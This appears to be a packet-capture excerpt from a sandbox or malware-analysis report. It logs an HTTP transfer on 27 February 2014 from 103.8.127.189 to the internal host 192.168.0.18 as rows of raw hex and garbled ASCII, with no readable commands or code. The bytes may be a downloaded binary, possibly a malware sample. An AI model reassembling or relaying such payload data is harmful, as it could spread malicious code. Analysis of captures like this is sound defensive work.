Feb 27, 2014 17:56:07.017014027 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 10 f9 0a 48 9b 3c 96 68 d6 91 4a 2d 1b 94 27 c1 12 fa 0a ac f2 7d eb 70 57 90 86 69 15 11 7a ad 3a f5 2e c1 7a f8 6e ee 7b 09 0a 93 9b 09 4f 73 57 f9 af 09 d2 29 8a 6d 7f 94 48 e2 47 88 4f af 73 1d cf ad 97 e7 26 2d f2 5d 6c 69 c7 fb 46 af 5b f8 Data Ascii: H<hJ-'}pWiz:.zn{OsW)mHGOs&-]liF[<x,\-7M< G\|@9y6:UJJY,_yWEWJHWdVq#C<J#MsH=63$kIW>[HswJH;hJ&N	687
Feb 27, 2014 17:56:07.027661085 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: aa 49 84 38 a3 a4 f6 79 59 de 10 38 af 6d ff f9 79 49 f3 1d a7 f2 f2 15 4a 6c f7 dd a3 48 fe 15 85 ac f2 1c af 2c f8 10 af 4c 97 15 f8 49 fb 58 ea 5c 65 fb 4a 65 f6 3c a7 6e f2 5d ee ac d7 fc aa 41 f6 1c 61 4d 1e 09 4f a3 f7 48 42 69 fa 1c ee ac Data Ascii: I8yY8myIJlH,LIX\eJe<n]AaMOHBi7]ELClwJHIzKli)Jxz*SyWIXIL80H@WfJM&JI=SN<h	689
Feb 27, 2014 17:56:07.027678013 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 80 38 e8 74 ca f4 28 f9 ed 48 86 b9 47 a8 f2 92 4a bd fe 6a ae 45 fb f9 af 93 f2 1c ab 2c a4 fd da 2d db 14 74 4c 15 19 ef 4c 15 fd ae e0 f7 fb af 52 f2 3d ab a8 fb 36 ca b8 97 86 ea 2c d7 dd af cf 17 f2 a7 02 77 ab af 97 17 10 ca 6d 97 8b 8a 49 Data Ascii: 8t(HGJjE,-tLLR=6,wmID0jIyATHti8[VqtQ/Jei$8S8e3'l8iJ<<nJ,\|ayJ,KM;y,Z@	690
Feb 27, 2014 17:56:07.027789116 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 63 fc 4e b9 22 21 77 58 01 a9 67 fb 09 ad 6b fb 6a 05 df 99 85 c1 d2 f9 46 61 30 dd 0e 49 d6 7a 4a ec 36 fc 2f f8 72 f1 43 ac 72 95 0e e4 b7 3d a8 8c 17 95 02 28 a5 9c cb 24 77 f9 9a e8 d2 dc c6 13 3a 5c Data Ascii: cN"!wXgkjFa0IzJ6/rCr=($w:\	691
Feb 27, 2014 17:56:07.126195908 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 40 df 37 67 ac 1a 1d 4a ac 97 7d a6 c9 76 39 23 60 17 59 f7 05 fb b1 8a cb 13 f9 e2 85 96 bd 0e 20 1b bd 4a 59 1f 54 8f 81 40 d8 06 ac df 3c 00 a0 92 95 c6 2b 17 59 af 89 bf 28 07 09 5a f9 aa c9 3a 35 22 68 49 d5 4a cc b6 dd 52 8d d3 51 47 ac Data Ascii: J@7gJ}v9#`Y JYT@<+Y(Z:5"hIJRQG9IDBJ,ny8-Ji@QCybb0OA-,?I]Z9yZ(W&ly(\|S$Nyyc,=x7J@X[MKy'y,FyW	691
Feb 27, 2014 17:56:07.175141096 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 96 b6 eb 2d 58 19 cb a5 b7 f9 48 f8 9e bd cb e3 9e 3a 05 57 d6 fd b1 f4 97 70 6e 6f 58 79 49 ac 16 f8 8a 19 d6 fd 2e 6d 30 7c 89 e3 d7 f7 c2 6d 19 2f 4e 6f 30 39 4e 44 d6 fd e2 6f 04 3b 57 17 d5 ad 8a a2 bf 3a 59 6e 58 79 49 a4 16 f8 54 64 d4 ea Data Ascii: -XH:WpnoXyI.m0\|m/No09NDo;W:YnXyITdyx&m09DHmoX9RHmoXyImApmL8N:o;,K=mVm`,l=Moh:xK:l;e%fh:Y	693
Feb 27, 2014 17:56:07.175158978 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 33 0e 23 ac 73 bd 0b bc ff 90 a3 6d 17 47 26 e5 fb 5d 13 68 1f f9 af 81 ac b9 62 4c 5f a5 4a 4d ba 7d 8e 93 72 74 cb ac b6 21 87 60 9f d1 70 e5 17 15 c7 e1 ca 55 ab 29 d7 79 17 84 d6 79 ef 16 97 a9 c8 ac 4f fd ea 20 5e 46 ef 89 17 11 8f 70 36 fc Data Ascii: 3#smG&]hbL_JM}rt!`pU)yyO ^Fp6,sJ)u#iB^lnR8)keJo:bW?gu*W<JgIW](t,+H4DtJ?1DpzpK\f,WkJd	694
Feb 27, 2014 17:56:07.175268888 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 33 15 4b ec 52 ac e7 8c 5e b5 31 c4 b3 f1 4b a6 3e 7c 4b a4 33 11 8e 80 36 ac e3 49 32 d1 31 65 1f f8 e3 34 9f d0 42 0c a1 b0 22 89 9e 3e 42 e5 3b 79 a3 61 da 94 87 34 9b 15 2e 68 a1 b4 e7 e5 fa 3e 46 20 57 1d a3 6d 97 31 2b 2c 97 58 8b c4 b9 b8 Data Ascii: 3KR^1K>\|K36I21e4B">B;ya4.h>F Wm1+,X@V&JmiR]O,o,2&N$8D"I1 T % U,cXKm2(R'oz^;\|fv?	694
Feb 27, 2014 17:56:07.185971022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c6 89 e3 10 06 0d 1b 7c e2 c1 bf fc e1 c1 fe 10 02 76 3b 31 aa ed e3 14 c3 61 7f 7c e6 04 d3 98 e1 cd b3 b5 ae 6e 37 7c 0f 41 fb 18 8e c4 d3 64 ea 49 76 34 f9 c9 76 d9 ca 6e 33 b9 63 25 fb 1c 4b a8 b7 64 ee 8c 1a 50 f9 84 3b bc 2e c3 7e f4 06 c1 Data Ascii: \|v;1a\|n7\|AdIv4vn3c%KdP;.~VQSTJz1jVU7Tuv\|NYI\|LvrmN]KhL`R.+o~$GRdg.XG$Cm>hX6$)<O Ql46@"E<K5!RQK	695
Feb 27, 2014 17:56:07.187381983 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7e b9 03 28 bd d9 a6 a1 93 e6 4f 28 da 7c 81 84 d6 78 c6 fe 1a 50 0b 21 91 bd 4f a9 9a ca 2b c1 d2 75 ad 48 7e 71 c3 7f d6 f8 02 24 10 71 e7 a0 9f 4b e7 69 db 70 2c 4c 36 5d c6 c5 d2 b0 2e 21 aa 75 af 8c 9a f1 e3 21 f7 75 96 80 9e 54 c3 44 1e 18 Data Ascii: ~(O(\|xP!O+uH~q$qKip,L6].!u!uTD'$+p/pw\hz/-\K`y;(UY&(F\|4ARUG.JucQ{=N9lTd5F]]:<m6OY-X>r2ce]`V\j	697
Feb 27, 2014 17:56:07.187390089 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 33 99 e2 e1 66 31 87 a1 5a d3 e7 04 b6 1c 7a a8 97 9d 22 32 76 1c 82 6c 93 74 02 c1 d7 26 a2 81 d6 91 8f 8d 7f 50 2a 75 53 f4 4f 64 d4 51 ea 0c df 61 87 69 1b 99 c8 c8 fa 30 a7 80 16 71 2f e9 21 14 6f 6c 52 94 c2 ec 7b 14 3d 60 57 f4 ef 3d be dc Data Ascii: 3f1Zz"2vlt&P*uSOdQai0q/!olR{=`W=)jA\%bY,iG/u}CTbYJ!6EDZA;NLV}2\|0bs5rEwEuQdtRkMP(?VH{_=JaJ9	698
Feb 27, 2014 17:56:07.187499046 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 3e d5 c2 41 ba 54 bd ad f3 15 4f d0 73 18 86 2d b0 10 a3 6d 73 5c c6 40 f6 19 34 a9 f2 59 02 59 77 19 ca 60 39 15 ce a9 7a 1e c3 2d 32 10 76 ac 9f 9d 0b 1b 72 74 0e 69 7b 1c 6a e5 53 2f ca 89 7e 39 47 a5 3b d1 22 2a 7b d0 42 40 4a 19 07 21 5a 6d Data Ascii: >ATOs-ms\@4YYw`9z-2vrti{jS/~9G;"*{B@J!Zm0V+h~I4jM4\;y1SQ1vVsV.8G@^/B_b"=-m5Zt`9M,y^u<A[.5^WRb0k	699
Feb 27, 2014 17:56:07.197751999 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 92 98 8c 89 37 3d ea 27 3b d0 af 4d 24 98 22 cd 33 87 22 cd 57 9c 8c ed 5b f8 ee 27 5f bc 6a 49 24 34 87 80 3f a3 8e 68 1a 90 a8 41 fe b5 e2 03 f3 19 27 45 00 50 eb 45 3b a3 ea 04 df 94 a8 25 92 70 e6 03 97 75 e2 41 00 b4 8e 08 76 d9 0e 61 92 d9 Data Ascii: 7=';M$"3"W['_jI$4?hA'EPE;%puAva=yszrjWy\|jz\|G~>]'^+EzmRp]^a#L=TO^=G >9K:QQjs5$G&N%5,1@C&%cak\|	701
Feb 27, 2014 17:56:07.197768927 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da 50 50 48 92 98 aa e8 f2 bc 43 69 44 15 43 e0 ff cc a7 65 33 34 68 41 9a 71 ce d0 fb b4 aa 0d 7c 10 4a 48 33 8e a2 6c 9b f8 2a 44 93 d9 02 92 fe bd 02 c1 3e 15 66 00 37 20 a7 40 d3 fc 84 41 bf 91 06 3c fb 91 4a c5 90 10 6f a8 fb 62 a2 49 7b 30 Data Ascii: PPHCiDCe34hAq\|JH3l*D>f7 @A<JobI{0D9~gAZATMFmnSH:Hxb12)6\|et.E4M{p `Jl=H(wi5.T8!lF!=+Di%8"?B	702
Feb 27, 2014 17:56:07.197771072 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da d1 07 90 33 98 07 84 17 61 26 ac 5a 95 49 68 bb f9 62 a5 b0 3d 43 29 f2 bb 4a c0 b2 19 ca 4a f6 99 82 ac 3e a5 03 60 ba b5 b2 e5 17 90 4a 0c 0a 18 8f c9 d2 f9 f3 45 ba d9 46 21 56 f8 4a e9 7e d0 0b 08 ff 7c 86 ac fe f1 c7 4c 7f 9d 87 09 17 b0 Data Ascii: 3a&ZIhb=C)JJ>`JEF!VJ~\|L`v9fj.\J;BM}z}B(9"A_<m@JR)9'LXJ@Oh/bF#B.hIJX2W@!$nJ	703
Feb 27, 2014 17:56:07.209667921 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 8d db 10 cf 52 bb f0 8b ac 3b bd 4e 09 b3 b0 aa a8 17 f9 43 09 12 55 e6 c0 d7 f9 eb 08 d3 d0 43 39 1b 91 4a e0 7b c8 46 61 f6 79 9e ac b3 98 ce 49 67 d0 ee 00 17 b5 80 2d 1f 30 63 c2 96 f9 e7 c8 d2 72 63 ad 16 59 4a 83 76 99 4b 48 a3 30 86 ac Data Ascii: JR;NCUC9J{FayIg-0crcYJvKH0sxZe~0'YGSUhXJ[@m]C[{eJAEk+u.NfJ-e&)%%m}oJMWA[UcePp?O6	704
Feb 27, 2014 17:56:07.209683895 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 06 92 f9 4a 06 9f 0c 4a ac e8 bb 4a 25 17 f9 09 ac f6 f9 c8 ad c0 b1 4a 2d 16 b4 4a 20 17 f9 b5 e3 17 b7 4a 52 9a f9 4a e3 17 b6 4a 6d 15 bb 4f e3 17 b6 4a 53 58 f9 04 ac 56 fc 05 ac 58 f9 05 ac 58 f9 0b ac 5e 69 3d 2d e2 c9 4a 2d 17 08 59 f9 Data Ascii: JJJJ%J-J JRJJmOJSXVXX^i=-J-YYJYRBJJ-;HJCXBJJSXVXXm)\|$l"bUJJR[}huWWJ M X0UP(7xK_	706
Feb 27, 2014 17:56:07.209686041 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 19 ec 5f b1 0a e2 3b 38 5a ac fb 7d c2 28 27 71 cb 25 97 70 dd 21 9f 7d c6 6a 37 63 4a 2c 28 fc 66 81 33 56 62 ac 37 9d 4e 57 37 d0 6f 88 17 37 63 e1 1a dc b4 8c 3b d9 67 84 97 d8 62 ec 88 74 c6 ac d3 31 10 68 d7 70 ca 77 16 b9 59 20 5f 70 ca 64 Data Ascii: _;8Z}('q%p!}j7cJ,(f3Vb7NW7o7c;gbt1hpwY _pdH(wE!y\|70%zJw-kvur[lAtJ/\|X\z$\|-D%X,pK,%yCb3FX:Njn7BphOn7g:w;kJ:	707
Feb 27, 2014 17:56:07.209789991 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca 97 d7 38 8e 68 2c b8 68 ae b6 54 eb 4d 76 6b 4a 29 1f 70 cf 69 85 f9 75 85 32 dc ca 89 f8 dc 6a 8d 3f 85 4b e3 17 c6 0b c4 7e 99 b0 c0 73 e9 6a e9 ba 94 ba b8 bc 5d e7 ac bf 50 15 00 be 51 ca ef 77 14 a2 48 f2 22 19 b1 e7 a0 25 8c 1b f9 42 a8 Data Ascii: 8h,hTMvkJ)piu2j?K~sj]PQwH"%B3,m5YJ$1i	707
Feb 27, 2014 17:56:07.220283031 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 11 e8 8c f2 30 c6 48 5f aa 43 cc 72 f9 2b 4f 33 95 22 c9 41 94 0a c1 37 d0 b6 85 7b 49 49 ec 17 b8 0b e9 ce b9 02 e8 5b f9 53 e8 5b b1 2e c7 1f b4 4a cd 1e c4 4b a8 5e 94 4e ac 17 fd 47 e0 92 fc 0a e5 13 b4 bc 3f 7e b1 06 e4 2d b5 4a e9 5a 79 Data Ascii: 0H_Cr+O3"A7{II[S[.JK^NG?~-JZyv#,o@*)p9h\o!uqJiyKPTUXJEQ\WC!'ybx>9-)<u,8hy=,$99Z o\Q	709
Feb 27, 2014 17:56:07.220299959 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: bf 7b d4 ae 1e 75 c3 28 93 54 49 b1 17 d8 03 e4 1d b9 6e 2c 97 f9 45 04 ba 51 83 7d db 34 4a 61 d6 51 8a 6d d6 10 e2 ad 15 e4 67 8c 3a d4 10 85 3b f9 ca 2c 68 bd 03 e4 5a d6 4b ae 04 34 c2 68 9f c9 c7 21 17 79 ca b3 3b f5 4e ed 4a f9 4b a5 1e f9 Data Ascii: {u(TIn,EQ}4JaQmg:;,hZK4h!y;NJKYJRJCZyA HMA"JA=eiuOa4Ji8)}<1NJ,hCpT}eBh5llphm9yj4V"RCZBJVW	711
Feb 27, 2014 17:56:07.220401049 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1e f9 5d 45 ff 1d 4a 40 1d 14 ae 01 ba 2c e6 a4 f2 15 a7 ef 0a 14 a6 4c f7 b9 bc 64 db 30 87 69 d5 f8 42 ac 1e fc 4f f0 3f d5 6e 84 15 a4 eb 38 a8 79 cb 21 9a f0 ca 0c b6 58 c3 1d ba 55 2b 69 17 bd 0a e4 07 95 06 e5 5f b9 17 e8 5b bd 0b 36 b7 79 Data Ascii: ]EJ@,Ld0iBO?n8y!XU+i_[6yPdd10h]te<h8(AH@JMA9,*q QJ},xqh)uG}QvQQ(YtyuBIky-s)gplj	712
Feb 27, 2014 17:56:07.220535040 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 22 28 4b c0 86 f9 6e 3d 12 c8 4b f3 12 94 db a6 93 49 42 1c 00 7d ba 80 87 f9 05 8a bf 88 48 9d 02 b6 0f 5c 19 02 ea 67 c6 f8 db ac a4 28 5f 63 12 28 4c 7d 02 8d 05 6d 07 f1 31 5d 04 09 52 1c 14 fd 1f 7d 16 9d db ac 1b 68 4a 24 87 fc 75 35 26 f8 Data Ascii: "(Kn=KIB}H\g(_c(L}m1]R}hJ$u5&f=H,<[&]{3<6FX9m}l&c,:hJJ}h%-f;&8/JU:F=4Z{K	713
Feb 27, 2014 17:56:07.231153965 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 33 7f 55 a2 24 75 b0 03 ee 9f f9 3d a1 1a 71 68 ae 0a 9d da 44 1a 71 5c ae 1e 59 ee ac 74 fb ee ac 65 93 ae 49 36 50 d2 ae b3 f9 0a c6 b2 5d 2b 24 7d f9 c7 a0 96 1d 6a 65 7b 19 4a 65 f4 d4 03 a4 36 67 c2 ac 32 98 cb 33 df 58 cf 85 17 40 ce a5 Data Ascii: J3U$u=qhDq\YteI6P]+$}je{Je6g23X@[>J S_Tcgl_ylqS!r"l^JlDBp>R8JWPKyrHGZ"M5XJD]E(A1K++odZpzJ	714
Feb 27, 2014 17:56:07.231162071 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e6 a9 f7 f9 8f 20 57 1d 4a 24 a6 b9 4a 68 7f 50 1f e0 73 38 e2 ac 46 14 23 4c 17 74 ae 45 17 55 e2 4d 5a 3d 42 8d 1a f9 0f 04 d6 19 fb e9 12 51 4a 88 18 75 27 6c bf 3d 4b ac 9a bc cb 26 de 15 aa 80 17 04 07 a0 f7 3c 44 e1 5e f9 42 20 ee 34 07 2d Data Ascii: WJ$JhPs8F#LtEUMZ=BQJu'l=K&<D^B 4-6J2]#K>=}nH]NJ-QRU*-Iqk<TJ-9o;->=QJ`}N%Q=J7aZtBR356q.	716
Feb 27, 2014 17:56:07.231776953 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 95 01 b3 99 5a 49 13 35 27 cd 70 3c af 89 17 6e 87 08 bb 1d 87 28 5a f9 af 21 d3 bc 26 04 f7 64 4a 60 b2 f4 4e 5c 7b 9d aa ac 17 c2 83 68 f7 f9 55 21 17 58 2a ec c2 35 6b 4c 33 fd 80 c5 07 eb 24 08 1e 19 c3 ac 99 11 2e 8d bf 10 a2 4c 17 98 46 44 Data Ascii: ZI5'p<n(Z!&dJ`N\{hU!X*5kL3$.LFD$y`N}za^=JJ/%Yw`0N5OM>6PRY#QeZX RJh34e2VYA(=LTJo35q\gb}FS:#cJ!xW	717
Feb 27, 2014 17:56:07.327008963 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 07 4d 96 3d 4a cc 7f dc aa c1 92 f0 47 ac f7 78 a7 a8 b6 d8 56 2c 17 b5 66 c4 14 b9 8f 4d bf f9 0f 05 5a 58 6b 20 5b 58 4a 49 57 ac 0f 0c 9a 7c fc ac 1f 70 8b 04 5a 11 07 a1 17 51 cb 24 93 38 22 6d f3 f9 0a 84 97 ea 27 89 32 51 4a 1d 9e 74 aa 4c Data Ascii: M=JGxV,fMZXk [XJIW\|pZQ$8"m'2QJtLuQ5ax}J`Yz9O0\kp*QR}#1a'cM6eJRY$kxkTqkcz)~w VN~C`Q=L)~p	718
Feb 27, 2014 17:56:07.328545094 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7e f9 0a 55 ff f5 2a 65 1d d4 4a c9 fe bc 00 2c 5a f4 e7 ac d4 7d ca 04 bf 34 e6 ad 17 54 a7 2c da 30 ce 45 52 f9 0a a5 f2 d8 0e e9 17 51 4a 84 d8 b4 07 45 57 31 af ac 36 10 e2 99 1e 59 eb 25 17 87 0f 64 f6 19 e7 cc b7 f9 0f 88 20 f0 a3 e9 56 ac Data Ascii: ~UeJ,Z}4T,0ERQJEW16Y%d VJ-Za$s(5M!AJ^=[1#Hzl4J{oZ]+^fR`zQJ1XWaZk`~X^;(DQc`kH!P@7qK*Jwj	719
Feb 27, 2014 17:56:07.328560114 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4b 51 33 33 09 66 54 34 09 d9 3b ae 96 9b 8b 3d 09 10 95 c8 85 fc 38 bd 37 db 0a d3 06 b1 e6 e4 67 e8 02 84 77 3c 0a a4 5f 78 cf 91 c7 b5 aa 57 d7 b4 9f e0 3f cb 4b 78 5b 68 0c fc 7a 2c 06 9d f4 f9 8e 49 52 da 6f e8 3a f9 47 75 f7 da 43 61 e4 b3 Data Ascii: KQ33fT4;=87gw<_xW?Kx[hz,IRo:GuCa?+l"mgh(_q-g~;,5M6-5su6?Qe\R~\zLSxG\%+Gh5'2m35KPb0>xPe)1dJ,0	721
Feb 27, 2014 17:56:07.328680038 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0b 5d 6a 26 18 e5 c7 ae da f9 56 ad d8 31 cf 89 5b d9 a5 e9 5f 11 0e 0d 22 50 86 ce 13 5b 2d 6c fb 50 ca d4 b7 e5 0e b3 bf e5 68 bc b0 e5 89 ad b7 e5 86 88 bf b3 93 0b 0b 5d ab a2 32 34 8b fd b7 9b 43 ad 14 1c ea 61 b7 79 ca e7 1e d1 8e 64 da 25 Data Ascii: ]j&V1[_"P[-lPh]24Cayd%if!WW5+FFg8Al<=?x9,S?JLz0>wXG]I)j 2D/w63kSBe*ubm+Y#JW8"=$+}=NVZ8"w}$	722
Feb 27, 2014 17:56:07.338649988 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 15 dd 8e 71 9d db 90 aa dd 2c e4 26 d0 6d ca f4 f9 8b 86 77 b8 5e 51 d7 d3 a6 6c 3d 8b 35 d8 10 aa 44 8d 54 18 4a 8c 32 dd 47 e9 d5 89 8f 01 1e 7d 46 05 c6 f8 02 a0 be 3e 5e e2 bd 79 eb a8 bb a8 05 ac b6 fd 02 8d 1b eb 2a 0e 3b 39 87 9c 02 bc Data Ascii: q,&mw^Ql=5DTJ2G}F>^y*;9eY\|[vZ#~ZFA>1cqrXJ`[_VJaf`'CUCXnXO,njbaZq>vjaM91<)?:X7jEdv	723
Feb 27, 2014 17:56:07.338665962 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5e 31 8b b6 52 b9 c4 65 df 34 e2 f9 d6 71 83 2e 93 58 58 28 5f b1 a3 63 93 bf 16 ac be f9 3b 73 94 30 c9 88 f6 fd 83 68 d9 54 6a 2f 5e 5d cb ce 62 db c9 20 f3 dd 8b d2 3b 7a 07 61 16 d9 5a a4 19 30 2a 8d 07 1c 2b c4 fe d1 07 48 de 59 47 41 76 d6 Data Ascii: ^1Re4q.XX(_c;s0hTj/^]b ;zaZ0+HYGAvASxFud)pu(sz#;jsgSntZ~G,Q(GFu(fI2R8lYEV9/d,u@N[@rKl$uE?(uZm	725
Feb 27, 2014 17:56:07.338668108 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: af f0 4f 14 d3 99 13 e4 b2 79 82 9d d9 b5 ef c8 e6 66 86 f4 5b 75 8f 9e 1c b1 76 e9 96 87 26 7c b6 5c ab 0d 57 c5 12 cc a5 b8 54 b0 7a b1 4a e6 56 c5 98 ad d3 14 0b ab 06 ee 3f e1 55 97 8e 44 fe 34 2e 8a Data Ascii: Oyf[uv&\|\WTzJV?UD4.	725
Feb 27, 2014 17:56:07.407951117 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 57 29 6e 4c 09 d5 85 ff 26 fc 27 4e f3 19 76 a4 7a 16 0a 18 64 70 11 e3 84 b8 4f 6e 3d 91 27 f5 58 39 6f fd 58 bd ee e9 94 8d 83 48 3f 18 f3 49 49 f5 2b 73 a7 b0 1b 2a 33 c7 c2 85 29 5d 6f 88 29 39 6b 92 d7 16 6a 63 bf 34 6e 01 32 d8 74 a4 32 de Data Ascii: W)nL&'NvzdpOn='X9oXH?II+s*3)]o)9kjc4n2t2ta#Lth^(WY0[Z"^O93y6e4LkIzIz>pIIL$@/L+h9\gJT&DjRW736n7PHGa	727
Feb 27, 2014 17:56:07.408128023 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 77 e2 0b cd 15 f4 e7 6f 9f 94 8a 91 d6 f9 a3 8c d6 44 46 60 d3 34 fe 6e 1b b8 71 c0 d7 d0 0b 97 9a 9a 02 0c de 94 82 04 de 1a 44 09 d6 e6 53 8c 77 24 06 ed 13 d9 79 04 da dc 8a e0 7e d5 e3 44 da f8 49 8c 9a f3 96 2c 48 d1 2b 83 3e 34 2a c5 53 99 Data Ascii: woDF`4nqDSw$y~DI,H+>4*SLmXcZkw+6A?j#,5j7gAtWFWt9BK)+Pi[K~4a.Qv!lRXHuBdV$	727
Feb 27, 2014 17:56:07.408298016 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 23 28 76 c6 0e 24 90 29 06 bd 36 2b 4b 68 fa 14 95 1c 1a d5 e3 20 44 db ca 94 da ab 68 ed d6 fd 8e 04 26 6b 0f 22 de 9d 86 58 bf 84 29 96 1a e8 49 db 15 8e 30 4f 17 60 ba a5 93 78 db a3 62 83 85 ac e7 f7 5e 21 f6 8d 30 0d 96 ff aa 21 de 7d e3 6c Data Ascii: #(v$)6+Kh Dh&k"X)I0O`xb^!0!}lb/L%u((;h*v.&3={sBY^{#~AkW\|lEkE6_caMH=4w^I%J0>0Ne?G[$`Dj)A!'uC[[I-M_<I'	729
Feb 27, 2014 17:56:07.408313990 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 23 a9 f3 90 ca a5 3a b4 23 c4 ff 34 cb 2d 15 f1 4a 1d 5a 9d 0f 21 1b 97 78 a9 93 78 27 f1 97 ea c8 2d 3b 30 4e 44 d2 f8 09 68 ff 19 87 e9 a7 30 8e 8c 98 f9 f1 ad 67 1d 4a dc 12 f9 4d 63 15 fe 0f e4 1b 94 ca ac db b4 a7 a1 dd 75 0f 04 17 d8 06 65 Data Ascii: #:#4-JZ!xx'-;0NDh0gJMcueU( Q#t8Nu9NL96J#5RV<JJ6=?QbLQ+6+zIlX',r)Wt,Hq L3Ffk,_47m9}^$=&	730
Feb 27, 2014 17:56:07.408430099 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 07 6c 06 39 4a 21 fe f5 8e 00 5c 1c 8e b4 fa b8 17 9c 02 dc c3 e9 f6 51 39 7c 11 da c3 0c 98 29 5f 6d 01 da c3 0c 74 38 5c 5c 5d 38 8e a4 86 a9 da 3a 5b 41 a7 04 66 6a dc cd 1a 5c 6d 2d b5 de 6e 61 bf 79 Data Ascii: l9J!\Q9\|)_mt8\\]8:[Afj\m-nay	731
Feb 27, 2014 17:56:07.414151907 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5f 1e 93 c9 41 79 9b 59 07 28 b2 3c a7 1c 9d c5 f9 04 c7 19 a6 04 46 99 49 88 d7 70 1b 97 97 fc 8b c8 d6 dd 0a 41 a6 95 9e cd 7b aa 13 a1 87 a3 c7 40 4d 38 5b ac 5a 74 af 05 f6 15 c2 ad 1f b1 c2 7d 07 f1 c3 62 12 59 fa 49 36 0c 8a 7d 4c 68 69 63 Data Ascii: _AyY(<FIpA{@M8[Zt}bYI6}LhicY~0yyakIMIG}@<MS_<b~+iOWi{Y\|WomJmh;FryZfal:llA*;qK8FPWM#lrkR	731
Feb 27, 2014 17:56:07.436151981 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7e 71 ad c5 d7 36 2a 8d 5f 15 ee 87 b4 bc 3a 04 c6 dc ed e9 5f d8 4d 89 de a8 d0 00 5b 98 1a a8 12 1c ee 61 57 75 1d 36 9f ac 13 e9 7a ac 0f 40 46 63 a6 ec f6 b4 0a 60 3b 74 0a 5d 7f b9 40 de 92 e9 49 64 d7 e8 a7 4d ca 99 98 9f 0e fb 14 44 9b 58 Data Ascii: ~q6_:_M[aWu6z@Fc`;t]@IdMDXINf:[I ;f~T.U{ZlaJ0eB!u,0UH<'BGA>rFz$g{8M61a*g8H.y.P9IMY	733
Feb 27, 2014 17:56:07.436173916 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9d 71 23 04 7a 98 6a 8d f6 5d aa ed db 3c ca a6 8a 15 1a 60 37 51 16 2d 0e 36 0a f5 9f fb a5 8c 63 51 87 01 3a 51 6b ec 0b 79 23 2c f7 3c 69 82 5f f1 cf 04 ee d7 64 a8 17 3a 86 ac 5a b0 e7 6b 32 55 4b 8d 67 a9 83 08 5f d8 e1 0c 00 b9 43 20 27 76 Data Ascii: q#zj]<`7Q-6cQ:Qky#,<i_d:Zk2UKg_C 'v[]=lv8kUgU7C}juJ\AQk+y#R7L*~&l'i8/lFq6voa}b R:j#vzR(W>.yQHLy?lQ	734
Feb 27, 2014 17:56:07.436228037 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 36 f8 9d ae 3e e9 49 a1 36 b1 ca 09 37 f5 86 e1 68 fe 38 ab 97 3d 63 4c 97 2c af 20 fa d1 e2 ec e7 ea 4a a1 92 35 42 0c c2 55 67 ac 13 90 5b 65 3e 3c 06 0e 17 f4 06 28 b3 3c 0e e5 ff f9 ab 25 36 7c 22 05 1a 7d 4a 60 36 50 97 84 9b 19 86 ac 1c 38 Data Ascii: 6>I67h8=cL, J5BUg[e><(<%6\|"}J`6P8c`%#%b 5E=NGk0bP#!2(.}h \|%J-c#,~qGQlj%G\|Z?4<B`Q`>9ZqL95-9x	736
Feb 27, 2014 17:56:07.436305046 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f7 fd 83 7c 96 b4 ce 04 77 e2 8b 4d 1e 39 5f 39 d5 dd ae 8d 55 15 0a a2 52 50 27 ab 47 5c e2 a1 9e 19 44 2d b5 d2 c3 fb 57 ea 2a 86 b7 c9 e2 ac 1a 3c 2d bd b6 36 4b b0 36 c4 a2 97 16 eb 07 21 f7 ea 4a af 55 7d 2b 8c ba 51 43 20 f7 f0 0b 92 b3 59 Data Ascii: \|wM9_9URP'G\D-W*<-6K6!JU}+QC YBMk\GLNqj0	736
